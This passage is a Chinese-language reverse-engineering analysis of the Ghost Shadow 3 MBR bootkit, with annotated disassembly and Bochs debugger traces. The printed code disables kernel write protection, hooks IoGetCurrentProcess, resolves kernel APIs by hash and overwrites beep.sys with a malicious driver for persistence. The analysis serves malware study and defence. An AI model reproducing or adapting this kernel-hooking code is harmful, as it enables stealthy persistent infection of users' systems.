seg000:0000009E                 mov     esi, eax        ; OsLoader.exe 覆盖的代码

seg000:000000A0                 test    eax, eax        ; OsLoader.exe 覆盖的代码

seg000:000000A2                 jnz     short @PatchFunction_done_nojz ; 返回到OsLoader.exe当中执行,当系统

seg000:000000A2                                         ; 调用IoGetCurrentProcess()时候鬼影

seg000:000000A2                                         ; 3会继续获得系统的控制权

 

下面就需要在0x804d8040下断点,断下来说明调用IoGetCurrentProcess()

<bochs:133> c
(0) Breakpoint 6, 0x00000000804d8040 in ?? ()
Next at t=535838472
(0) [0x00000000004d8040] 0008:00000000804d8040 (unk. ctxt): sub dword ptr ss:[esp], 0x00000005 ; 812c2405000000
CPU0:
eax: 0xf844918c -129724020
ecx: 0x80564b40 -2141828288
edx: 0xf84488d0 -129726256
ebx: 0x00000000 0
esp: 0xf8ab6468 -122985368
ebp: 0xf8ab650c -122985204
esi: 0x8060c444 -2141141948
edi: 0x00000010 16
eip: 0x804d8040
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000286: id vip vif ac vm rf nt IOPL=0 of df IF tf SF zf af PF cf

下面就是要执行前面拷贝到ntoskrnl的代码

seg000:00000030                 sub     dword ptr [esp], 5 ; @IoGetCurrentProcessHook起始地址

seg000:00000030                                         ; 这部分代码将会被写入Ntoskrnl.exe

seg000:00000030                                         ; 内存镜像当中,代码长度0x37

Image Base Address + 40h的 HOOK 代码:调用IoGetCurrentProcess时候,就会被call 到。

seg000:00000037                 pusha                   ;

seg000:00000037                                         ; 下面部分的代码完成的功能主要是

seg000:00000037                                         ; 修改固定页表的第一页地址,改成Mbr

seg000:00000037                                         ; 之前申请的内存空间,Mbr当中已经

seg000:00000037                                         ; 考虑了4KB对齐问题,之后把代码复制

seg000:00000037                                         ; 300h直接到用户共享数据区地址是

seg000:00000037                                         ; FFDF0800h,之后返回到FFDF08AF继续

seg000:00000037                                         ; 执行

seg000:00000038                 mov     eax, 9C001h     ; 我们的代码当前所在物理内存位置是9C001开始

seg000:0000003D                 xor     ecx, ecx

seg000:0000003F                 mov     ch, 3           ; cx = 300h, 代码长度300h

seg000:00000041                 mov     edx, 0C0000000h ; 固定页表的第一个表项

seg000:00000046                 mov     esi, 200h       ; Mbr当中已经做过4KB对齐,

seg000:00000046                                         ; 现在代码地址在9C200

seg000:0000004B                 mov     edi, 0FFDF0800h ; 内核当中共享用户数据区地址

seg000:00000050                 xchg    eax, [edx]      ; 修改第一个页表地址到9C001,即将物理地址0X9C000映射到线性地址0,1代表该地址有效。

seg000:00000052                 wbinvd                  ; 特权指令,使CACHE失效,目的应该是把

seg000:00000052                                         ; 数据写到内存里,避免在CPU的缓存当中

seg000:00000054                 rep movsb               ; 从线性地址0x200(物理地址0x9c200)拷贝数据过去FFDF0800h。

seg000:00000056                 mov     [edx], eax      ; 恢复固定页表的第一个表项

seg000:00000058                 wbinvd

Hook函数当中备份的IoGetCurrentProcessHook的5字节内容压入堆栈

seg000:0000005A                 push    0               ; 这句代码已经在Hook函数当中做过修改

seg000:0000005C                 push    0               ; 这句代码已经在Hook函数当中做过修改

seg000:00000061                 push    0FFDF08AFh      ; 返回到FFDF08AFh继续执行病毒代码

seg000:00000066                 retn

0) [0x00000000004d8051] 0008:00000000804d8051 (unk. ctxt): mov edx, 0xc0000000 ; ba000000c0,这是页表所在的位置      
CPU0:
eax: 0x0009c001 638977
ecx: 0x00000300 768
edx: 0xf84488d0 -129726256
ebx: 0x00000000 0
esp: 0xf8ab6448 -122985400
ebp: 0xf8ab650c -122985204
esi: 0x8060c444 -2141141948
edi: 0x00000010 16
eip: 0x804d8051
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf
(0) [0x00000000004d8060] 0008:00000000804d8060 (unk. ctxt): xchg dword ptr ds:[edx], eax ; 8702
CPU0:
eax: 0x0009c001 638977
ecx: 0x00000300 768
edx: 0xc0000000 -1073741824
ebx: 0x00000000 0
esp: 0xf8ab6448 -122985400
ebp: 0xf8ab650c -122985204
esi: 0x00000200 512
edi: 0xffdf0800 -2160640
eip: 0x804d8060
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf
<bochs:142> p
Next at t=535838481
(0) [0x00000000004d8062] 0008:00000000804d8062 (unk. ctxt): wbinvd                    ; 0f09
CPU0:
eax: 0x00000000 0
ecx: 0x00000300 768
edx: 0xc0000000 -1073741824
ebx: 0x00000000 0
esp: 0xf8ab6448 -122985400
ebp: 0xf8ab650c -122985204
esi: 0x00000200 512
edi: 0xffdf0800 -2160640
eip: 0x804d8062
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf

wbinvd这里是刷新catche缓存。

Next at t=535839252
(0) [0x00000000004d806a] 0008:00000000804d806a (unk. ctxt): push 0x00000000           ; 6a00
CPU0:
eax: 0x00000000 0
ecx: 0x00000000 0
edx: 0xc0000000 -1073741824
ebx: 0x00000000 0
esp: 0xf8ab6448 -122985400
ebp: 0xf8ab650c -122985204
esi: 0x00000500 1280
edi: 0xffdf0b00 -2159872
eip: 0x804d806a
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf
<bochs:147> p
Next at t=535839253
(0) [0x00000000004d806c] 0008:00000000804d806c (unk. ctxt): push 0x0124a164           ; 6864a12401
CPU0:
eax: 0x00000000 0
ecx: 0x00000000 0
edx: 0xc0000000 -1073741824
ebx: 0x00000000 0
esp: 0xf8ab6444 -122985404
ebp: 0xf8ab650c -122985204
esi: 0x00000500 1280
edi: 0xffdf0b00 -2159872
eip: 0x804d806c
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf
<bochs:148> p
Next at t=535839254
(0) [0x00000000004d8071] 0008:00000000804d8071 (unk. ctxt): push 0xffdf08af           ; 68af08dfff
CPU0:
eax: 0x00000000 0
ecx: 0x00000000 0
edx: 0xc0000000 -1073741824
ebx: 0x00000000 0
esp: 0xf8ab6440 -122985408
ebp: 0xf8ab650c -122985204
esi: 0x00000500 1280
edi: 0xffdf0b00 -2159872
eip: 0x804d8071
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf

跳过来执行的代码(内存地址:0FFDF08AFh):esp->IoGetCurrentProcess原始5字节内容

seg000:000000AF ; ---------------------------------------------------------------------------

seg000:000000AF                 mov     ebp, esp

seg000:000000B1                 mov     edi, [ebp+28h]  ; edi->IoGetCurrentProcess地址,pushad+push+push = 10个DWORD,=0x28

seg000:000000B4                 mov     ecx, cr0

seg000:000000B7                 mov     edx, ecx

seg000:000000B9                 and     ecx, 0FFFEFFFFh ; 去除内存页的写保护,通过CR0的第17位设置

seg000:000000BF                 mov     cr0, ecx

seg000:000000C2                 pop     eax             ; 返回过来的时候总共往栈中压入

seg000:000000C2                                         ; 5个字节,这5个字节就是IoGetCurrentProcess

seg000:000000C2                                         ; 函数前5个字节,这里进行恢复工作

seg000:000000C3                 stosd                   ; 恢复工作

seg000:000000C4                 pop     eax             ; 恢复工作

seg000:000000C5                 stosb                   ; 恢复工作

seg000:000000C6                 mov     cr0, edx        ; 恢复内存页的写保护

seg000:000000C9                 jb      short loc_CE

seg000:000000CB                 jnb     short loc_CE

seg000:000000CB ; ---------------------------------------------------------------------------

seg000:000000CD                 db  20h

seg000:000000CE ; ---------------------------------------------------------------------------

seg000:000000CE

seg000:000000CE loc_CE:                                 ; CODE XREF: seg000:000000C9↑j

seg000:000000CE                                         ; seg000:000000CB↑j

seg000:000000CE                 enter   4, 0

seg000:000000D2                 push    136E47C7h       ; Hash:PsCreateSystemThread

seg000:000000D7                 call    @GetExport      ; 获取PsCreateSystemThread地址

seg000:000000DC                 lea     ebx, [ebp-4]

seg000:000000DF                 push    0

seg000:000000E4                 push    0FFDF0903h

seg000:000000E9                 push    0

seg000:000000EE                 push    0

seg000:000000F3                 push    0

seg000:000000F8                 push    0

seg000:000000FD                 push    ebx

seg000:000000FE                 call    eax             ; 调用PsCreateSystemThread()

seg000:000000FE                                         ; 创建了一个新的系统线程,这个

seg000:000000FE                                         ; 线程的代码地址是FFDF0903h

seg000:000000FE                                         ; 暂时称为@StartRoutine

seg000:00000100                 leave

seg000:00000101                 popa

seg000:00000102                 retn

然后前面就是关闭写保护到达

(0) [0x00000000000418ce] 0008:00000000ffdf08ce (unk. ctxt): enter 0x0004, 0x00        ; c8040000

所以在创建系统线程FFDF0903h下断点,因为hook不能写太多,会影响性能,所以开线程。

(0) [0x00000000000418e4] 0008:00000000ffdf08e4 (unk. ctxt): push 0xffdf0903           ; 680309dfff
CPU0:
eax: 0x805d092a -2141386454
ecx: 0xe000003b -536870853
edx: 0xe001003b -536805317
ebx: 0xf8ab6440 -122985408
esp: 0xf8ab643c -122985412
ebp: 0xf8ab6444 -122985404
esi: 0x00000500 1280
edi: 0x804f03cd -2142305331
eip: 0xffdf08e4
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000282: id vip vif ac vm rf nt IOPL=0 of df IF tf SF zf af pf cf
<bochs:169> lb 0xffdf0903
<bochs:179> c
(0) Breakpoint 7, 0x00000000ffdf0903 in ?? ()
Next at t=547194678
(0) [0x0000000000041903] 0008:00000000ffdf0903 (unk. ctxt): pushad                    ; 60
CPU0:
eax: 0x82169da8 -2112447064
ecx: 0x00000000 0
edx: 0x00000001 1
ebx: 0x00000000 0
esp: 0xf8b22db0 -122540624
ebp: 0xf8b22ddc -122540580
esi: 0x82169da8 -2112447064
edi: 0x00000000 0
eip: 0xffdf0903
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000246: id vip vif ac vm rf nt IOPL=0 of df IF tf sf ZF af PF cf

 

SystemThread地址
seg000:00000103 ; ---------------------------------------------------------------------------
seg000:00000103                 pusha                   ; @StartRoutine函数
seg000:00000103                                         ; 这个函数就是病毒花这么大的力气
seg000:00000103                                         ; 得到控制权想要完成的事情,在系统
seg000:00000103                                         ; 加载之前把自己的Hello_tt.sys替
seg000:00000103                                         ; 换系统的Beep.sys,由于系统正常需
seg000:00000103                                         ; 要加载Beep.sys,所以病毒这样就获
seg000:00000103                                         ; 取在操作系统当中执行的机会了,之前
seg000:00000103                                         ; 我们分析过,Hello_tt.sys会写入
seg000:00000103                                         ; c:\alg.exe和他的启动项,这样,系统
seg000:00000103                                         ; 启动之后首先加载病毒的sys,然后病毒
seg000:00000103                                         ; 写入alg.exe,注册表项,之后操作系统
seg000:00000103                                         ; 再根据注册表启动项执行alg.exe
seg000:00000103                                         ; GAME OVER~~

 

eg000:00000108 ZwCreateFile_Loop:                      ; CODE XREF: seg000:000001AD↓j

seg000:00000108                                         ; seg000:000001D5↓j

seg000:00000108                 mov     dword ptr [ebp-8], 0FFFFFFFFh

seg000:0000010F                 mov     dword ptr [ebp-0Ch], 0FECED300h

seg000:00000116                 push    0CC06CD48h      ; Hash:KeDelayExecutionThread,让出系统资源。

seg000:0000011B                 call    @GetExport

seg000:00000120                 lea     ebx, [ebp-0Ch]

seg000:00000123                 push    ebx

seg000:00000124                 push    0

seg000:00000129                 push    0

seg000:0000012E                 call    eax             ; 调用KeDelayExecutionThread()

 

seg000:00000130                 lea     ecx, [ebp-18h]

seg000:00000133                 mov     dword ptr [ecx], 18h

seg000:00000139                 and     dword ptr [ecx+4], 0

seg000:00000140                 mov     dword ptr [ecx+0Ch], 40h ; '@'

seg000:00000147                 and     dword ptr [ecx+10h], 0

seg000:0000014E                 and     dword ptr [ecx+14h], 0

seg000:00000155                 mov     eax, 0FFDF0A85h

seg000:0000015A                 mov     dword ptr [eax+0], 0FFDF0A89h

seg000:00000164                 mov     dword ptr [ecx+8], 0FFDF0A81h

seg000:0000016E                 push    25298A1Dh       ; Hash:ZwCreateFile

seg000:00000173                 call    @GetExport

seg000:00000178                 lea     ebx, [ebp-24h]

seg000:0000017B                 lea     edx, [ebp-20h]

seg000:0000017E                 push    0

seg000:00000183                 push    0

seg000:00000188                 push    20h ; ' '

seg000:0000018D                 push    5

seg000:00000192                 push    0

seg000:00000197                 push    80h ; '€'

seg000:0000019C                 push    0

seg000:000001A1                 push    edx

seg000:000001A2                 push    ecx

seg000:000001A3                 push    40000000h

seg000:000001A8                 push    ebx

seg000:000001A9                 call    eax             ; 调用ZwCreateFile替换打开Beep.sys文件之后把病毒的Hello_tt.sys数据写入替换系统的正常文件

seg000:000001AB                 or      eax, eax

seg000:000001AD                 jnz     ZwCreateFile_Loop ; 打开文件直到成功

seg000:000001B3                 push    0

seg000:000001B8                 push    2800h

seg000:000001BD                 push    0

seg000:000001C2                 push    9C000h          ;实模式下映射的物理地址

seg000:000001C7                 push    0FCE7EE0Ch      ; Hash:MmMapIoSpace,映射系统物理地址到线性地址。

所以一边写文件一边提换

Next at t=637333421
(0) [0x00000000000419a8] 0008:00000000ffdf09a8 (unk. ctxt): push ebx                  ; 53
CPU0:
eax: 0x80500384 -2142239868
ecx: 0xf8b22d74 -122540684
edx: 0xf8b22d6c -122540692
ebx: 0xf8b22d68 -122540696
esp: 0xf8b22d24 -122540764
ebp: 0xf8b22d8c -122540660
esi: 0x82169da8 -2112447064
edi: 0x00000000 0
eip: 0xffdf09a8
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000286: id vip vif ac vm rf nt IOPL=0 of df IF tf SF zf af PF cf
<bochs:214> p
Next at t=637333422
(0) [0x00000000000419a9] 0008:00000000ffdf09a9 (unk. ctxt): call eax                  ; ffd0
CPU0:
eax: 0x80500384 -2142239868
ecx: 0xf8b22d74 -122540684
edx: 0xf8b22d6c -122540692
ebx: 0xf8b22d68 -122540696
esp: 0xf8b22d20 -122540768
ebp: 0xf8b22d8c -122540660
esi: 0x82169da8 -2112447064
edi: 0x00000000 0
eip: 0xffdf09a9
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000286: id vip vif ac vm rf nt IOPL=0 of df IF tf SF zf af PF cf
<bochs:215> p
Next at t=643128220
(0) [0x00000000000419ab] 0008:00000000ffdf09ab (unk. ctxt): or eax, eax               ; 09c0
CPU0:
eax: 0x00000000 0
ecx: 0x00000008 8
edx: 0x80500395 -2142239851
ebx: 0xf8b22d68 -122540696
esp: 0xf8b22d4c -122540724
ebp: 0xf8b22d8c -122540660
esi: 0x82169da8 -2112447064
edi: 0x00000000 0
eip: 0xffdf09ab
es:0x0023       cs:0x0008       ss:0x0010       ds:0x0023       fs:0x0030       gs:0x0000
eflags 0x00000286: id vip vif ac vm rf nt IOPL=0 of df IF tf SF zf af PF cf

 

seg000:000001CC                 call    @GetExport

seg000:000001D1                 call    eax

seg000:000001D3                 or      eax, eax

seg000:000001D5                 jz      ZwCreateFile_Loop

seg000:000001DB                 mov     ebx, eax

seg000:000001DD                 add     ebx, 4D5h

seg000:000001E3                 lea     ecx, [ebp-20h]

seg000:000001E6                 push    7E3ACF7h        ; Hash:ZwWriteFile

seg000:000001EB                 call    @GetExport

seg000:000001F0                 push    0

seg000:000001F5                 push    0

seg000:000001FA                 push    1A00h

seg000:000001FF                 push    ebx

seg000:00000200                 push    ecx

seg000:00000201                 push    0

seg000:00000206                 push    0

seg000:0000020B                 push    0

seg000:00000210                 push    dword ptr [ebp-24h]

seg000:00000213                 call    eax

seg000:00000215                 push    0FD929378h      ; Hash:ZwClose

seg000:0000021A                 call    @GetExport

seg000:0000021F                 push    dword ptr [ebp-24h]

seg000:00000222                 call    eax

seg000:00000224                 leave

seg000:00000225                 popa

seg000:00000226                 retn    4

seg000:00000229

seg000:00000229 ; =============== S U B R O U T I N E =======================================

seg000:00000229

seg000:00000229 ; Attributes: bp-based frame

seg000:00000229

seg000:00000229 @GetExport      proc near               ; CODE XREF: OverHookFunc+18↑p

seg000:00000229                                         ; seg000:000000D7↑p ...

seg000:00000229

seg000:00000229 var_4           = dword ptr -4

seg000:00000229 FunctionNameHash= dword ptr  8

seg000:00000229 NumberOfNames   = dword ptr  18h

seg000:00000229 AddressOfFunctions= dword ptr  1Ch

seg000:00000229 AddressOfNames  = dword ptr  20h

seg000:00000229 AddressOfNameOrdinals= dword ptr  24h

seg000:00000229

seg000:00000229                 enter   0, 0

seg000:0000022D                 xor     eax, eax

seg000:0000022F                 pusha

seg000:00000230                 mov     edx, [ebp+FunctionNameHash] ; EDX &lt;- FunctionNameHash

seg000:00000233                 mov     ebx, 0          ; 注意这里已经通过上面的修改写成

seg000:00000233                                         ; ImageBaseAddress了,参考图片

seg000:00000238                 mov     ecx, [ebx+3Ch]  ; PE头部偏移

seg000:0000023B                 mov     ebp, [ebx+ecx+78h] ; 输出表RVA

seg000:0000023F                 add     ebp, ebx        ; 输出表指针

seg000:00000241                 mov     ecx, [ebp+NumberOfNames] ; NumberOfNames

seg000:00000244                 mov     edi, [ebp+AddressOfNames] ; AddressOfNames

seg000:00000247                 add     edi, ebx

seg000:00000249                 jecxz   short @GetExport_done

seg000:0000024B

seg000:0000024B @GetExport_NameLoop:                    ; CODE XREF: @GetExport+35↓j

seg000:0000024B                 mov     esi, [edi]      ; 逐个处理函数名

seg000:0000024D                 add     esi, ebx

seg000:0000024F                 scasd                   ; EDI + 4, 下一个函数名的RVA

seg000:00000250                 push    edx

seg000:00000251

seg000:00000251 @GetExport_NameHashLoop:                ; CODE XREF: @GetExport+30↓j

seg000:00000251                 lodsb                   ; FunctionNameHash += _ROL_(FunctionName.Reverse(), 7)

seg000:00000252                 sub     edx, eax

seg000:00000254                 ror     edx, 7

seg000:00000257                 test    eax, eax

seg000:00000259                 jnz     short @GetExport_NameHashLoop

seg000:0000025B                 test    edx, edx

seg000:0000025D                 pop     edx

seg000:0000025E                 loopne  @GetExport_NameLoop ; 逐个处理函数名

seg000:00000260                 jnz     short @GetExport_done ; 若找不到跳转

seg000:00000262                 not     ecx

seg000:00000264                 mov     edx, [ebp+AddressOfNameOrdinals]

seg000:00000267                 add     ecx, [ebp+NumberOfNames]

seg000:0000026A                 add     edx, ebx

seg000:0000026C                 mov     ax, [edx+ecx*2]

seg000:00000270                 mov     ecx, [ebp+AddressOfFunctions]

seg000:00000273                 add     ecx, ebx

seg000:00000275                 add     ebx, [ecx+eax*4]

seg000:00000278                 mov     [esp+20h+var_4], ebx ; ESP+1Ch = EAX重写栈中

seg000:00000278                                         ; EAX内容之后POPA恢复,上面代码就

seg000:00000278                                         ; 是把找到的函数地址写入EAX返回

seg000:0000027C

seg000:0000027C @GetExport_done:                        ; CODE XREF: @GetExport+20↑j

seg000:0000027C                                         ; @GetExport+37↑j

seg000:0000027C                 popa

seg000:0000027D                 leave

seg000:0000027E                 retn    4

seg000:0000027E @GetExport      endp

seg000:0000027E

seg000:0000027E ; ---------------------------------------------------------------------------

seg000:00000281                 db  4Ah ; J

seg000:00000282                 db    0

seg000:00000283                 db  4Ch ; L

seg000:00000284                 db    0

seg000:00000285                 db    0

seg000:00000286                 db    0

seg000:00000287                 db    0

seg000:00000288                 db    0

seg000:00000289 aSystemrootSyst:

seg000:00000289                 unicode 0, &lt;\SystemRoot\system32\drivers\beep.sys&gt;,0

seg000:00000289 seg000          ends

seg000:00000289

seg000:00000289

seg000:00000289                 end

 

 

调用函数的 HASH 表 。

DWORD FunctionsHashTable[7] =

{

     0xCE8C3177, //Hash CE8C3177: IoGetCurrentProcess

     0x136E47C7, //Hash 136E47C7: PsCreateSystemThread

     0xCC06CD48, //Hash CC06CD48: KeDelayExecutionThread

     0x25298A1D, //Hash 25298A1D: ZwCreateFile

     0xFCE7EE0C, //Hash FCE7EE0C: MmMapIoSpace

     0x07E3ACF7, //Hash 07E3ACF7: ZwWriteFile

     0xFD929378  //Hash FD929378: ZwClose

};

 

void CheckHash(DWORD Hash)

{

     DWORD TempHash = Hash;

     int i, FunctionNameOffset = 0;

     for (i = 0; i &lt; FNT_SIZE; i++)

     {

         if (FunctionsNameTable[i] == 0x0)

         {

              if (TempHash == 0x0)

              {

                   break;

              }

              else

              {

                   FunctionNameOffset = i + 1;

                   TempHash = Hash;

                   continue;

              }

         }

         else

         {

              TempHash = TempHash - FunctionsNameTable[i];

              TempHash = ((TempHash << 25) | (TempHash >> 7));

         }

     }

     if (FunctionNameOffset< FNT_SIZE)

     {

         printf(Hash %08X: %s\n, Hash, FunctionsNameTable + FunctionNameOffset);

         return;

     }

     printf(Hash %08X Not Found!\n);

     return;

}

 

int main(int argc, char* argv[])

{

     int i;

     for (i = 0; i < 7; i++)

     {

         CheckHash(FunctionsHashTable[i]);

     }

     return 0;

}

这就是鬼影3大致执行流程,从mbr起来,做int13的hook挂钩,挂钩ntldr,挂钩ntoskrnl,ntoskrnl起来之后挂钩内核,IoGetCurrentProcess获得执行机会,然后吧自己拷贝到ntoskrnPE头里去。然后调用IoGetCurrentProcess时候获得执行机会,然后在这里面把自己内存拷贝到高端内存去,创建线程把自己驱动替换了系统驱动,把自己bee驱动启动起来。

 


http://chatgpt.dhexx.cn/article/vJdiTAoS.shtml

相关文章

鬼影病毒分析报告

鬼影病毒分析报告 一、 鬼影病毒概述 这是一个***下载器&#xff0c;使用了ring3恢复内核钩子、感染磁盘引导区&#xff08;MBR&#xff09;、多种方法结束杀毒软件等 技术自启动并对抗杀毒软件。完全感染后&#xff0c;是一个看不到可疑文件、没有启动项、普通重装系统也无法解…

用友与鬼影病毒

昨天一客户打电话&#xff0c;说软件无法登陆。 上门查看现象如下&#xff1a; 用友服务无法启动&#xff0c;双击启动&#xff0c;报错&#xff1a;本地计算机上的用友通服务启动后又停止了。一些服务自动停止&#xff0c;如果它们没有什么可做的&#xff0c;例如性能和日志警…

鬼影病毒

鬼影病毒是指寄生在磁盘 主引导记录&#xff08;MBR&#xff09;&#xff0c;即使格式化重装系统&#xff0c;也无法清除的病毒。 2010年3月15日&#xff0c;国内某安全中心发现一种被命名为“鬼影”的电脑病毒&#xff0c;由于该病毒成功运行后&#xff0c;在进程中、系统启动…

鬼影病毒6.0分析

原理图 文件名功能1001.exe主模块camhgzsswk.sys释放模块p2phook.sys释放模块的克隆p2pc.ini攻击模块配置文件safemon.dll注入攻击模块beep.sys持久化攻击模块 主模块1001.exe [1]创建用户mima1&#xff0c;运行ipconfig进行掩饰。 [2]释放病毒驱动sys文件。 [3]将病毒驱动注…

鬼影病毒和浏览器锁狼狈为奸,用户浏览器遭强行劫持

鬼影病毒和浏览器锁狼狈为奸&#xff0c;用户浏览器遭强行劫持 据金山毒霸安全实验室监测&#xff0c;发现鬼影病毒变种再次高发&#xff0c;其中一个伪装成阿里旺旺的变种感染量就达1.6万台/天。中毒电脑桌面出现多个图标&#xff0c;浏览器被锁定为go2000.com或soolaa.com&am…

新鬼影病毒

今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T 好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来只是时间问题.但是MBR和之后的保护模式的代码就不一样啦同学们,纯静态分析,伤不起啊,各种硬编码,…

股票量化分析指标公式是什么?

股票量化分析指标公式是什么&#xff1f;其公式为&#xff1a;量比现成交总手/(过去5日平均每分钟成交量当日累计开市时间)。 股票量化分析指标API调用流程&#xff08;部分&#xff09; “股票量化分析指标”是指可以用具体数据反映的指标&#xff0c;比如成交量、市盈率和日…

基于macd、kdj、ma技术指标分析股票多空方向——应用开发4 分析技术指标一系列形态结果

接上一节&#xff0c;我们计算获取了技术指标的结果total_df&#xff0c;结果如下图 我们需要显示股票最近10天的分析结果&#xff0c;对此我们只需要截取total_df前12天数据就可以了。 #获取前12天的数据 total_dftotal_df.iloc[-12:,:] total_df 对应列的数字0&#xff5e;9…

波段炒股看什么指标最准,怎么才能把股票波段做好?

波段炒股看什么指标最准&#xff0c;怎么才能把股票波段做好&#xff1f;股票有不少盈利方式&#xff0c;可是这样的盈利方式&#xff0c;你会吗&#xff1f;做波段盈利的好处在哪里呢&#xff1f; 股票做波段赢利率&#xff0c;针对股票市场的波段操作特点&#xff0c;波段操作…

基于macd、kdj、ma技术指标分析股票多空方向——应用开发3 计算股票相关技术指标数据

接上一节&#xff0c;我们获取了000001.SZ股票过去一年的历史数据stock_df&#xff0c;接下来我们就计算技术指标 所用包 pandas_ta import pandas_ta as ta 关于pandas_ta 可以在GitHub - twopirllc/pandas-ta: Technical Analysis Indicators - Pandas TA is an easy to …

股票 - - 常用指标【下】

股票 - - 常用指标【下】 接上一篇文章,文章地址&#xff1a;八、巴菲特最看重的指标1. 简介 九、快速读懂股票的估值1.前言2.市盈率3.知识点 十、筹码分布 - - 一个一用就上瘾的指标1.一个关于筹码的故事2.关于筹码的形态单峰密集状态双峰密集状态多峰密集形态 3.上述三种形态…

常用技术指标之一文读懂KDJ指标

什么是KDJ指标&#xff1f; KDJ中文名又叫随机指标&#xff0c;英文名叫Stochastic oscillator&#xff0c;由乔治莱恩&#xff08;George Lane&#xff09;于20世纪50年代首创&#xff0c;最早用于期货市场。KDJ指标能比较迅速、直观地研判行情&#xff0c;主要用于分析中短期…

史上最全股票指标图文详解(原创)

炒股要把风险放在第一位,盈利放在第二位。 1、成交量(VOL)指标: 定义:股市中的成交量,是指股票或者大盘当日成交量的总手数。成交量指标一般是用柱状图来表示。左面的坐标值与柱子的横向对应处,就是当日当时的成交总手。如当天收盘价高于当天开盘价,成交柱呈红色;…

期货投资心得

期货的K线是什么 K线就是股票期货某个时间段的价格趋势&#xff0c;有四个数据构成&#xff0c;一个是开盘价&#xff0c;收盘价&#xff0c;最高价&#xff0c;最低价。其中k线红色时表示&#xff0c;收盘价高于收盘价&#xff1b;其中k线绿色时表示&#xff0c;收盘价低于收…

量化分析(8)——唐安奇通道

唐安奇通道和布林通道差不多&#xff0c;都是判断超买和超卖的工具&#xff0c;我还是喜欢rsi强度来判断超买和超卖&#xff0c;不过这二者可以相互印证一下。这里简单的画一下图&#xff0c;介绍一下。 # -*- coding: utf-8 -*- """ Created on Thu Oct 19 11…

Python 金融量化 道路突破策略(唐奇安道路突破策略布林带通道及其市场风险)

目录 获取数据1.通道突破简介2.唐奇安通道(Donchian Channel)2.1 唐奇安通道刻画2.2 在K线图中绘制唐奇安上下通道线2.3 Python捕捉唐奇安通道突破2.4 选择不同时间跨度 3.布林带通道3.1 布林带通道概述3.2布林带通道计算方式3.3 开始编码3.4 布林带通道线及K线图绘制3.5 布林带…

常用技术指标之一文读懂BOLL布林线指标

什么是布林线指标&#xff1f; 布林线BOLL指标(Bollinger Bands)是股市技术分析的常用工具之一&#xff0c;由美国金融分析师John Bollinger根据移动平均线和统计学中的标准差原理于1980年代设计出来。 如上图所示&#xff0c;布林线指标由上、中、下三条轨线组成&#xff0c;…

Python绘制BOLL布林线指标图

写在前面布林线&#xff08;BOLL&#xff09;技术指标简介BOLL公式详解参数设置 用到的主要Python库Python代码&详解参考文献推荐阅读 写在前面 本文代码部分总结自Packt出版社的《Learn Algorithmic Trading - Fundamentals of Algorithmic Trading》&#xff08;图1&…

Boll布林带突破策略

1.策略原理 一个很简单的策略 突破上轨&#xff0c;且Rsi没有超卖时做多&#xff0c;价格回归中轨时平仓 代码&#xff1a; seting {name: BB, symbol: ETHUSDT, kTime: 15m, bb_len: 129, bb_mult: 2.259, rsi_len: 22, rsi_long_min: 15, rsi_long_max: 76, rsi_short_mi…

布林带-BOLL (Bollinger Band)

也叫布林通道。 一般价格的波动是在一定的区间内的&#xff0c;区间的宽度代表价格的变动幅度&#xff0c;越宽表示价格变动幅度越大&#xff0c;越窄表示价格变动幅度越小。 布林带由支撑线(LOWER)、阻力线(UPER) 和中线(MID) 三者组成。 价格突破阻力线/支撑线,表示卖出/买入…